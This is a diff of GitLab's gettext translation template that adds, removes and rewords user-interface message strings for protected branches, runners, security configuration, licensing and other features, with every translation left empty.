@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
